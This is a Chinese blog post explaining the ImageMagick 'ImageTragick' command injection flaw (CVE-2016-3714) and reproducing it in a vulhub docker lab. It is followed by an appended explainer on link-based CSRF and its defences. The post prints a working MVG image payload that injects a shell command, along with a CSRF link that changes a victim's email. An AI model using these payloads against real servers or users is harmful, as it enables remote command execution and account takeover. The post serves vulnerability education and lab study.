看图片也能中招!

本文讨论了近期QQ被盗号事件中的传言,聚焦于一张图片可能导致的安全问题,回顾了ImageMagick的高危命令注入漏洞,解释了如何通过恶意图片执行命令。同时,作者提供了漏洞原理、复现步骤以及历史案例的背景信息。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

这两天,关于QQ盗号的安全事件相信大家已经听说了。各种各样的传言都有,一会儿数据库泄露了,一会儿API漏洞了,一会儿又是协议漏洞了,还有的说扫描二维码中招的,一时间众说纷纭。

在众多说法中,我看到了一个:只要点击图片就会中招!

好家伙,点图片就能中招,这可厉害了,要是对方发来一些诱惑的图片,年轻人把持不住那可咋整?

真有那么悬乎吗?

这不禁让我想起了几年前的一个漏洞,也是图片相关的,分享给大家看看。

那次漏洞的主角,是ImageMagick。

漏洞介绍

漏洞名称:Imagemagick 命令注入漏洞(CVE-2016-3714)

漏洞定级:高危

漏洞描述:ImageMagick 在处理恶意构造的图片文件时,对于文件中的 URL 未经严格过滤,可导致命令注入漏洞。通过命令注入漏洞,黑客可以在服务器上执行任意系统命令,获取服务器权限。

影响范围:ImageMagick 6.9.3-9本身及以前所有版本

漏洞原理

ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。

但有研究者发现,当用户传入一个包含『畸形内容』的图片的时候,就有可能触发命令注入漏洞。

国外的安全人员为此新建了一个网站:https://imagetragick.com/

与这个漏洞相关的CVE有CVE-2016-3714CVE-2016-3715CVE-2016-3716CVE-2016-3717

其中最严重的就是CVE-2016-3714,利用这个漏洞可以造成远程命令执行的危害。

ImageMagick有一个功能叫做delegate(委托),作用是调用外部的lib来处理文件。而调用外部lib的过程是使用系统的system命令来执行的

参考代码:https://github.com/ImageMagick/ImageMagick/blob/e93e339c0a44cec16c08d78241f7aa3754485004/MagickCore/delegate.c#L347

我们在ImageMagick的默认配置文件里可以看到所有的委托:/etc/ImageMagick/delegates.xml 漏洞报告中给出的POC是利用了如下的这个委托:

<delegate decode="https" command="&quot;curl&quot; -s -k -o &quot;%o&quot; &quot;https:%M&quot;"/>

它在解析https图片的时候,使用了curl命令将其下载,我们看到%M被直接放在curl的最后一个参数内。

ImageMagick默认支持一种图片格式,叫mvg,而mvg与svg格式类似,其中是以文本形式写入矢量图的内容,而这其中就可以包含https处理过程。

所以我们可以构造一个.mvg格式的图片(但文件名可以不为.mvg,比如下图中包含payload的文件的文件名为vul.gif,而ImageMagick会根据其内容识别为mvg图片),并在https://后面闭合双引号,写入自己要执行的命令:

push graphic-context
viewbox 0 0 640 480
fill ‘url(https://"|id; ")’
pop graphic-context

这样,ImageMagick在正常执行图片转换、处理的时候就会触发漏洞。

漏洞复现

  • 搭建靶机,教程:https://github.com/vulhub/vulhub/tree/master/imagemagick/imagetragick

  • 下载vulhub:git clone https://github.com/vulhub/vulhub/tree/master/imagemagick/imagetragick

  • 进入目录:cd /vulhub-master/imagemagick/imagetragick

  • 启动docker:docker-compose up -d 注意 我靶机 docker-compose.yml中端口为8888

125b673404738820454f9fe807f97a32.png
  • 访问搭建的靶机ip:8888

fcb717b1137cd2cc1c217a937569d509.png
  • 上传poc,新建一个txt文件,内容为:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|id; ")'
pop graphic-context

将文件保存为poc.gif

46d2bc1b0bf7ed8eb87fcf74b5fd7f2b.png

上次poc.gif,点击提交,成功执行:

9064e09f5f0b5133e39bcab609638898.png

这年头,除了链接,图片也不敢随便乱点了···

————————————————

漏洞原理和复现部分原文链接:https://blog.youkuaiyun.com/u011975363/article/details/118031227

推荐阅读

### 链接型 CSRF 攻击机制 链接型 CSRF 是一种通过诱导用户点击恶意链接的方式触发的跨站请求伪造攻击。在这种类型的攻击中,攻击者会构造一个指向目标网站的有效 URL 请求,并将其嵌入到恶意链接中。当受害者访问该链接时,浏览器会在后台自动向目标网站发送请求[^3]。 例如,假设 Web A 存在一个用于修改电子邮件地址的功能接口 `http://weba.com/change_email?email=new@example.com`。如果此功能未采取任何防护措施,则攻击者可以创建如下 HTML 页面: ```html <a href="http://weba.com/change_email?email=attacker@example.com">查看有趣的内容</a> ``` 一旦合法用户 User C 登录了 Web A 并点击了上述链接,其浏览器就会发出 GET 请求至 `http://weba.com/change_email?email=attacker@example.com`,从而完成邮箱更改的操作。由于整个过程对于服务器而言看似正常用户的授权行为,因此难以被察觉。 --- ### 链接型 CSRF 的防御方法 #### 1. **服务端引入 CSRF Token** 在每次表单提交或其他敏感操作之前,服务器应生成唯一的随机字符串作为 CSRF Token,并将其存储在当前会话或数据库中。随后,在前端页面加载时将此 token 嵌入隐藏字段或者附加到查询参数上。只有当客户端再次发起请求并携带匹配的 token 时,服务器才会处理该请求[^2]。 例如,针对上面提到的例子,可以通过以下方式改进安全性: - 当渲染包含潜在风险资源(如修改邮箱)的相关网页时,加入 CSRF Token; - 对于后续涉及这些资源的所有 HTTP 方法调用都需验证是否存在有效的 token。 以下是实现这一逻辑的部分伪代码展示: ```python def generate_csrf_token(): import secrets return secrets.token_hex(16) def validate_request(request, session): provided_token = request.args.get('csrf_token') expected_token = session.get('csrf_token') if not (provided_token and provided_token == expected_token): raise Exception("Invalid or missing CSRF token.") ``` #### 2. **双重 Cookie 检查模式** 另一种常见的做法是在 cookie 中保存另一个版本的 CSRF Token 同时也要求它出现在每一个 POST 数据包里头;如此一来即使有人能够注入脚本也无法轻易获取到正确的令牌因为它们之间相互独立[^1]。 具体流程如下所示: - 创建两个相同的 tokens —— 一个是存放在 cookies 下面的名字叫做 csrfToken ,另外一个是放置于 form 表单项中的 hidden input 元素之中。 - 在接收到来自外部系统的 post 请求之后,先对比两者是否一致再决定继续往下走还是直接拒绝掉此次连接尝试。 这种方法的好处在于不需要依赖额外的状态管理工具即可达到目的的同时还保持了一定程度上的兼容性和灵活性。 #### 3. **SameSite 属性配置** 现代浏览器支持 SameSite 属性来控制 Cookies 的发送时机,默认情况下不允许第三方站点共享同一份 Session Information 。开发者只需简单地调整响应头部信息就可以有效抵御大部分基于超文本传输协议(HTTP) 的跨域威胁: ```bash Set-Cookie: JSESSIONID=abcdef; Path=/; Secure; HttpOnly; SameSite=Strict; ``` 这里需要注意的是,“Lax” 和 “Strict” 这两种不同的策略级别各有优劣之处。“Strict” 可以最大程度减少泄露可能性但也可能影响用户体验,而“Lax” 则允许某些特定场景下的跳转动作但仍能阻止绝大多数非法活动的发生。 --- ### 总结 综上所述,链接型 CSRF 主要是利用了用户的身份认证状态来进行未经授权的行为操控。为了应对这类问题可以从多个角度出发制定综合性的解决方案,包括但不限于采用一次性使用的唯一标识符(Token),加强同源政策(Same-Origin Policy)的应用范围以及充分利用新型特性像 SameSite Flags 来增强整体架构的安全等级[^1]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值